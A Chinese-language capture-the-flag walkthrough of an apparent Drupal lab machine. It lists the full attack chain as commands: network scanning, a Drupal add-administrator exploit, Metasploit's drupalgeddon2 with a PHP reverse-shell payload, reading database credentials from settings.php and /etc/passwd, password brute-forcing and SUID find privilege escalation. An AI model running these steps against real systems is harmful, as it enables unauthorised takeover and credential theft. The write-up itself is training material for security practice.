信息搜集
扫描网段
nmap -sP -T4 10.4.7.0/24
扫描端口,服务
nmap -A -p- 10.4.7.129 -sV
扫描出ip为10.4.7.129
的主机开放了80端口,尝试访问80端口,确认靶机
尝试使用弱密码进行登录,登录不成功。
然后要了解这是什么系统,版本,用什么编写的,可使用 指纹搜索(Wappalyzer)进行查看,
了解到这是一个cms框架,
查找漏洞
searchsploit drupal
使用此命令查找漏洞,用查找到的漏洞进行尝试利用,在这里使用34992.py 这个添加用户的漏洞
searchsploit -m 34992.py
使用此命令进行下载34992.py ,
添加管理员登录后台
python2 34992.py
使用此命令进行执行,(注意这里只能使用python2的版本进行执行,python3版本执行不了,)
执行后查看到
使用命令
python2 34992.py -t http://192.168.63.195/ -u zs -p 123456
( 34992.py 是添加用户漏洞,-t 后面跟目标 -u 后跟用户名 这里是设置管理员,-p 后跟密码) 回车后即可添加成功
使用创建的用户名密码即可登录成功
在这个页面仔细查找会找到一个 flag3 内容翻译过来就是 ,
使用msfconsole 添加漏洞
使用工具 msfconsole
然后回车运行,再输入
search drupal
进行搜索 drupal
漏洞,
然后进行尝试,在这里使用2018-03-28这个日期的 漏洞模块exploit/unix/webapp/drupal_drupalgeddon2
输入命令
use exploit/unix/webapp/drupal_drupalgeddon2
回车,
建立反弹shell
通过指纹搜索可以看到这网站是PHP编写的,所以需要使用PHP的反弹shell ,输入命令
set payload php/meterpreter/reverse_tcp
回车后输入
show options
通过此命令可以查看配置,目前配置是本地的,
需要设置成远端的 ,输入命令
set RHOSTS 192.168.63.195
(IP地址为目标ip),然后输入run执行,
运行成功后输入ls
查找文件,成功获取到 flag1.txt
这个文件
输入 cat flag1.txt
进行查看
查看当前路径
pwd
查找框架配置文件
进入到 sites/default
中,找到 settings.php
这个文件
然后 查看 settings.php
文件
每个数据库里一般都会有数据库账号密码
找到databases (数据库)然后拷贝下来,
进入终端
输入shell进入终端,
进入终端后输入
python -c "import pty:pty.spawn('/bin/bash')"
显示当前用户路径,
输入命令
cat /etc/passwd
通过此命令查看用户,然后会发现flag4这个用户,
既然有普通用户,那能不能有普通用户的密码,
输入cd /home
进入然后ls查看到flag4
的家目录 ,再cd flag4
进入后查看到一个名为 flag4.txt
文件,输入cat flag4.txt
查看内容
然而并没有发现密码
到此 可以使用其他密码字典对flag4
这个用户 进行密码爆破
这里就不展示密码爆破过程了
密码是orange 可以使用这个密码进行密码登录
尝试登录
ssh flag4@10.4.7.129
使用此命令进行尝试登录
登录成功
提权
使用 find 这个命令查找可以提权的东西,
使用find命令进行提权
find / -perm -u=s -type f 2>/dev/null
(使用find命令,find命令在/目录下面,-perm 按文件的权限来查找,-u=s 是表示对该文件有shell uid权限,2>/dev/null 错误从定向到null)使用此命令回车后可以看见一些有权限的文件,在这里使用/usr/bin/find 这个文件
然后进/bin 目录下面进行查找,
find /bin -exec "/bin/sh" \;
( -exec 是find命令里面一个参数 这个参数代表我们可以对找到文件里面的东西进行执行exec这个命令),通过 find /bin -exec "/bin/bash" \;
这个命令不可以提权,可以把命令换成
find /bin -exec "/bin/sh" \;
就可以进行提权
输入cd /bin目录下面输入ls -l即可查看到 sh 是所有权限都有,所以能够提权
在输入 cd /root 进入,然后ls 查看 ,在进入 thefinalflag.txt
进入后结束